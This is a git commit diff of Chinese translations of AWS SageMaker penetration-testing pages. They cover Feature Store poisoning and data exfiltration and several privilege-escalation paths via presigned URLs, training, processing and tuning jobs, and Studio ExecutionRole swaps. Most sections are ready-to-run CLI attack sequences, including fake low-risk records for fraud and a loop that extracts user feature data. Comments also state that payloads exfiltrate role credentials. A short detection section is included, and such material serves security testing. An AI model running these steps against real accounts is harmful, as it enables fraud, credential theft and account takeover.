Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-17 15:54:15 +00:00
parent ada348331c
commit e595b62f34
4 changed files with 419 additions and 217 deletions

View File

@@ -1,50 +1,160 @@
# SageMaker Feature Store online store poisoning
滥用 `sagemaker:PutRecord` 启用了 OnlineStore 的 Feature Group 覆盖在线推理使用的实时特征值。`sagemaker:GetRecord`,攻击者可以读取敏感特征。此操作不需要访问模型或端点
滥用 `sagemaker:PutRecord` 启用了 OnlineStore 的 Feature Group 进行写入,以覆盖在线推理使用的实时特征值。`sagemaker:GetRecord`,攻击者可以读取敏感特征并外泄机密的 ML 数据。此攻击不需要访问模型或端点,因此是直接的数据层攻击
## 要求
- 权限:`sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 目标:启用了 OnlineStore 的 Feature Group通常用于实时推理
- 权限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 目标:启用了 OnlineStore 的 Feature Group通常用于支持实时推理)
- 复杂度: **LOW** - 简单的 AWS CLI 命令,无需修改模型
## 步骤
1) 选择或创建一个用于测试的小型 Online Feature Group
### 侦察
1) 列出启用 OnlineStore 的 Feature Groups
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) 描述目标 Feature Group 以了解其 schema
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
注意 `RecordIdentifierFeatureName``EventTimeFeatureName` 和所有特征定义。这些是构造有效记录所必需的。
### 攻击场景 1: Data Poisoning (覆盖现有记录)
1) 读取当前合法记录
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) 使用内联 `--record` 参数将记录投毒为恶意值
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
```
3) 验证被投毒的数据
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**影响**:消费此特征的 ML 模型现在会看到合法用户的 `risk_score=0.99`,可能导致其交易或服务被阻止。
### 攻击场景 2恶意数据注入创建伪造记录
注入具有被操纵特征的全新记录以规避安全控制:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
```
验证注入:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**影响**: 攻击者创建一个风险评分很低0.01)的虚假身份,能够进行高价值的欺诈性交易而不会触发欺诈检测。
### 攻击场景 3敏感数据外泄
读取多个记录以提取机密特征并分析模型行为:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
```
**影响**: 机密特征(风险评分、交易模式、个人数据)被攻击者暴露。
### 测试/演示 Feature Group 创建(可选)
如果你需要创建一个测试 Feature Group
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=ht-fg-$ACC-$(date +%s)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
```
2) 插入/覆盖 在线记录 (poison)
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/put.json << JSON
{
"FeatureGroupName": "$FG",
"Record": [
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
],
"TargetStores": ["OnlineStore"]
}
JSON
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
```
3) 读取记录以确认已被篡改
```bash
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
```
预期risk_score 返回 0.99(由攻击者设置),证明能够更改被模型使用的在线特征。
## Impact
- 实时完整性攻击:在不接触端点/模型的情况下,操纵生产模型使用的特征。
- 机密性风险:通过 GetRecord 从 OnlineStore 读取敏感特征。
echo "Feature Group ready: $FG"
```
## 检测
监控 CloudTrail 以发现可疑模式:
- `PutRecord` events from unusual IAM principals or IP addresses
- High frequency `PutRecord` or `GetRecord` calls
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
- Bulk `GetRecord` operations indicating mass exfiltration
- Access outside normal business hours or from unexpected locations
实施异常检测:
- 特征值验证例如risk_score 必须在 0.0-1.0
- 写入模式分析(频率、时间、来源身份)
- 数据漂移检测(特征分布的突然变化)
## 参考
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -6,34 +6,117 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
开始创建一个附加了要访问的 IAM Role 的 notebook
开始创建一个 notebook并将要访问的 IAM Role 附加到该实例上
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建的 notebook 实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL以便在实例就绪后访问该 notebook 实例:
响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建笔记本实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL以便在笔记本实例就绪后访问该实例:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
导航到 URL(使用浏览器)并点击 \`Open JupyterLab\`\` 在右上角,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。
使用浏览器导航到 URL 并在右上角点击 `Open JupyterLab``,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。
现在可以访问 IAM Role 的元数据凭证。
现在可以访问 IAM Role 的元数据凭证。
**潜在影响:** Privesc to the sagemaker service role specified.
**潜在影响:** 对指定的 sagemaker service role 进行 Privesc。
### `sagemaker:CreatePresignedNotebookInstanceUrl`
如果上面已有 Jupyter **notebooks 已经在运行** 并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或通过任何其他方式发现它们)你可以**为它们生成一个 URL访问它们,并前面技术所示窃取凭证**。
如果其上已有正在运行的 Jupyter notebooks并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或任何其他方式发现它们)你可以**为它们生成一个 URL访问它们,并前面技术所示那样窃取凭证**。
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**潜在影响:** Privesc 到附加的 sagemaker 服务角色
**可能影响:** 对附加的 sagemaker service role 的 Privesc
## `sagemaker:CreatePresignedDomainUrl`
> [!WARNING]
> 此攻击仅适用于旧的传统 SageMaker Studio 域,不适用于由 SageMaker Unified Studio 创建的域。由 Unified Studio 创建的域会返回错误: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的身份,可以生成一个登录 URL直接以该 profile 的身份认证进入 SageMaker Studio。此举会在攻击者的浏览器中创建一个继承该 profile 的 `ExecutionRole` 权限的 Studio 会话,并完全访问该 profile 基于 EFS 的 home 和 apps。不需要 `iam:PassRole` 或控制台访问。
**Requirements**:
- 一个 SageMaker Studio 的 `Domain`,以及其中的目标 `UserProfile`。
- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*`。
Minimal policy example (scoped to one UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**滥用步骤**:
1) Enumerate 可针对的 Studio Domain 和 UserProfiles
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) 检查是否未使用 unified studio攻击仅适用于传统 SageMaker Studio 域)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) 生成一个 presigned URL (默认有效期约 5 分钟)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) 在浏览器中打开返回的 URL以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证有效身份或 exfiltrate the token
```bash
aws sts get-caller-identity
```
注意:
- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会重定向到 Studio 主页,然后到 Jupyter。
- 组织策略/VPC endpoint 限制仍可能阻止网络访问;令牌签发不需要控制台登录或 `iam:PassRole`。
**潜在影响**:可以通过假定任何其 ARN 被允许的 Studio `UserProfile` 来实现横向移动和权限提升,继承其 `ExecutionRole` 以及文件系统/应用程序。
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
具有调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体(以及用于后续访问的 `sagemaker-mlflow:AccessUI`、`sagemaker-mlflow:SearchExperiments`)针对目标 SageMaker MLflow Tracking Server可以生成一次性预签名 URL直接对该服务器的托管 MLflow UI 进行身份验证。这将授予与合法用户相同的访问权限(查看/创建实验和运行,并在服务器的 S3 工件存储中下载/上传工件)。
**要求:**
- 账户/区域内的 SageMaker MLflow Tracking Server 及其名称。
- 攻击者主体需要在目标 MLflow Tracking Server 资源上具有 `sagemaker:CreatePresignedMlflowTrackingServerUrl`(或 `*`)权限。
**滥用步骤**
1) 枚举你可以攻击的 MLflow Tracking Servers 并选择一个名称
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) 生成一个预签名的 MLflow UI URL短时间内有效
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) 在浏览器中打开返回的 URL以作为该 Tracking Server 的已认证用户访问 MLflow UI。
**Potential Impact:** 对目标 Tracking Server 的托管 MLflow UI 的直接访问,允许在服务器配置强制的权限范围内查看和修改 experiments/runs并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
有这些权限的攻击者可以让 **SageMaker 执行一个 processing job** 并附带一个 SageMaker 角色。通过重用其中一个已经包含 Python 的 AWS Deep Learning Containers在与 URI 相同的区域运行该作业),你可以内联运行代码而无需构建自定义镜像
有这些权限的攻击者可以让 **SageMaker 执行一个 processing job**并附带一个 SageMaker role。通过重用包含 Python 的 AWS Deep Learning Containers 之一(并在与 URI 相同的区域运行该作业),你可以在不构建自定义镜像的情况下内联执行代码
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**潜在影响:** 对指定的 sagemaker 服务角色的 Privesc。
**Potential Impact:** 对指定的 sagemaker service role 的 Privesc。
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
拥有这些权限的攻击者可以启动一个 training job从而使用指定的角色执行任意代码。使用 SageMaker 的官方容器并通过覆盖 entrypoint 注入 payload inline无需构建自定义镜像:
拥有这些权限的攻击者可以启动一个训练作业,使用指定的角色执行任意代码。使用官方 SageMaker 容器并用 inline payload 覆盖 entrypoint你不需要构建自镜像:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Potential Impact:** Privesc 到指定的 SageMaker 服务角色。
**潜在影响:** 对所指定的 SageMaker 服务角色 的 Privesc
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
有这些权限的攻击者可以启动一个 HyperParameter Tuning Job在所提供的角色下运行攻击者控制的代码。Script mode 要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:
有这些权限的攻击者可以启动一个 HyperParameter Tuning Job在所提供的角色下运行攻击者控制的代码。Script mode 要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -183,28 +266,28 @@ aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
该进程启动的每次训练都会打印指标并外泄指定角色的凭证。
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio 角色置换 (no `iam:PassRole`)
拥有更新 SageMaker Studio User Profile、创建应用、生成应用的预签名 URL 以及 `iam:PassRole` 权限后,攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可承担的 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,通过 Jupyter 终端或由 Studio 启动的作业提供交互式提升权限。
Prioridad de ExecutionRole:
> [!WARNING]
> 此攻击要求配置文件中没有任何应用,否则应用创建会失败并出现类似的错误: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> 如果存在任何应用,则需要 `sagemaker:DeleteApp` 权限先删除它们。
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
如果具有更新 SageMaker Studio User Profile或 Space/Domain的权限攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可假定的 IAM role。与作业创建 API 不同Studio profile 更新 API 不需要 `iam:PassRole`。为该 profile 启动的新 Studio 应用将以被替换的 role 运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式提升权限。
步骤:
步骤:
```bash
# 1) List Studio user profiles and pick a target
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 2) Update the Studio profile to use the new role (no iam:PassRole)
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
@@ -215,18 +298,59 @@ aws sagemaker describe-user-profile \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
aws sagemaker update-space \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--space-settings ExecutionRole=$ROLE_ARN
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
aws sagemaker describe-space \
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--query 'SpaceSettings.ExecutionRole' --output text
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Optionally, change the domain default so every profile inherits the new role
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Potential Impact**: 在交互式 Studio 会话中,升级到指定 SageMaker 执行角色的权限。
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
如果拥有更新 SageMaker Studio Domain、创建 app、为该 app 创建 presigned URL 和 `iam:PassRole` 的权限,攻击者可以将域的默认 `ExecutionRole` 设置为 SageMaker 服务主体可以假设的任何 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式的提升权限。
> [!WARNING]
> 此攻击要求域中没有应用,否则创建应用会失败并出现错误: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
步骤:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
@@ -235,24 +359,88 @@ aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
aws sagemaker create-app \
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-atk
--app-name <APP_NAME>
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
# aws sts get-caller-identity # should reflect the new ExecutionRole
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**潜在影响**:在交互式 Studio 会话中,获得指定 SageMaker 执行角色的权限。
**潜在影响**: Privilege escalation以获取指定 SageMaker execution role 在交互式 Studio 会话中的权限。
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
拥有在目标 UserProfile 上创建 SageMaker Studio app 权限的攻击者,可以启动一个以该 profile 的 `ExecutionRole` 运行的 JupyterServer app。这样可以通过 Jupyter 终端或从 Studio 启动的作业交互式访问该角色的权限。
步骤:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
```
**潜在影响**: 可交互访问附加到目标 UserProfile 的 SageMaker 执行角色。
## 参考资料
### `iam:GetUser`, `datazone:CreateUserProfile`
具有这些权限的攻击者可以通过为该用户创建 DataZone User Profile使该 IAM user 获得对 Sagemaker Unified Studio Domain 的访问权限。
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
The Unified Domain URL 的格式如下: `https://<domain-id>.sagemaker.<region>.on.aws/`(例如 `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`)。
**潜在影响:** 作为用户访问 Sagemaker Unified Studio Domain能够访问 Sagemaker 域内的所有资源,甚至将权限提升到 Sagemaker Unified Studio Domain 中笔记本所使用的角色。
## 参考
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

View File

@@ -2,29 +2,29 @@
{{#include ../../../../banners/hacktricks-training.md}}
## 服务概
## 服务概
Amazon SageMaker 是 AWS 托管机器学习平台,整合了 notebooks、训练基础设施、编排、注册表和托管端点。SageMaker 资源被攻破通常会带来:
Amazon SageMaker 是 AWS 托管机器学习平台,连接 notebooks、训练基础设施、编排、镜像注册表和托管端点。SageMaker 资源的妥协通常会带来:
- 长期存在的 IAM 执行角色,有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。
- 可访问存储在 S3、EFS 或 feature stores 的敏感数据集。
- 长期存在的 IAM 执行角色,有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。
- 可访问存储在 S3、EFS 或 feature stores 的敏感数据集。
- 在 VPCs 内的网络立足点Studio apps、training jobs、endpoints
- 绕过控制台认证的高权限 presigned URLs
- 可以绕过控制台认证的高权限预签名 URL。
进行 pivot、persist 或 exfiltrate 数据之前,了解 SageMaker 的构成至关重要。
横向移动、持久化或外传数据之前,了解 SageMaker 的组装方式至关重要。
## 核心构
## 核心构建块
- **Studio Domains & Spaces**: Web IDEJupyterLab、Code Editor、RStudio。每个 domain 都有一个共享的 EFS 文件系统和默认的 execution role
- **Notebook Instances**: 用于独立 notebooks 的托管 EC2 实例;使用独立的 execution roles
- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码从 S3 取数据。
- **Pipelines & Experiments**: 描述所有步骤、输入和输出的编排工作流
- **Models & Endpoints**: 用于通过 HTTPS endpoints 进行推理的打包工件
- **Studio Domains & Spaces**: Web IDEJupyterLab、Code Editor、RStudio。每个 domain 共享的 EFS 文件系统和默认执行角色
- **Notebook Instances**: 托管的 EC2 实例,用于独立 notebook;使用独立的执行角色
- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码从 S3 取数据。
- **Pipelines & Experiments**: 编排的工作流,描述所有步骤、输入和输出。
- **Models & Endpoints**: 打包的制品,通过 HTTPS endpoints 部署用于推理
- **Feature Store & Data Wrangler**: 用于数据准备和特征管理的托管服务。
- **Autopilot & JumpStart**: 自动化 ML 和策划的模型目录。
- **MLflow Tracking Servers**: 托管的 MLflow UI/API使用 presigned access tokens
- **Autopilot & JumpStart**: 自动化 ML 和策划的模型目录。
- **MLflow Tracking Servers**: 托管的 MLflow UI/API使用预签名访问令牌
每个资源都会引用 execution role、S3 位置、容器镜像可选的 VPC/KMS 配置—在枚举时记录所有这些。
每个资源都会引用执行角色、S3 存储位置、容器镜像以及可选的 VPC/KMS 配置—在枚举时务必收集所有这些信息
## 账户与全局元数据
```bash
@@ -41,7 +41,7 @@ aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
```
注意任何跨账户信任(执行角色或具有外部主体的 S3 存储桶)以及诸如 service control policies 或 SCPs 的基线限制。
## Studio 域、Apps 与 Shared Spaces
## Studio 域、应用与共享空间
```bash
aws sagemaker list-domains --region $REGION
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
@@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --regi
aws sagemaker list-studio-lifecycle-configs --region $REGION
aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
```
要记录的内容
要记录:
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`
- 挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。
- Lifecycle scripts (通常包含 bootstrap credentials 或用于 push/pull 的额外代码)
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
- 挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。
- 生命周期脚本(通常包含引导凭据或用于推/拉的额外代码
> [!TIP]
> Presigned Studio URLs 在授予范围过广时可绕过身份验证。
> Presigned Studio URLs 在权限过宽时可绕过身份验证。
## Notebook Instances & Lifecycle Configs
```bash
@@ -78,11 +78,11 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li
```
Notebook 元数据会显示:
- 执行角色`RoleArn`)、直接互联网访问与仅 VPC 模式。
- S3 位置位于 `DefaultCodeRepository``DirectInternetAccess``RootAccess`
- 生命周期脚本(用于凭或持久化钩)。
- 执行角色 (`RoleArn`)、是否允许直接访问互联网或仅限 VPC 模式。
- S3 存储位置在 `DefaultCodeRepository``DirectInternetAccess``RootAccess`
- 生命周期脚本(用于凭或持久化钩)。
## 训练、处理、转换与批处理作业
## Training、Processing、Transform 和 Batch 作业
```bash
aws sagemaker list-training-jobs --region $REGION
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
@@ -93,12 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name <job> --region $REGI
aws sagemaker list-transform-jobs --region $REGION
aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
```
仔细查:
仔细查:
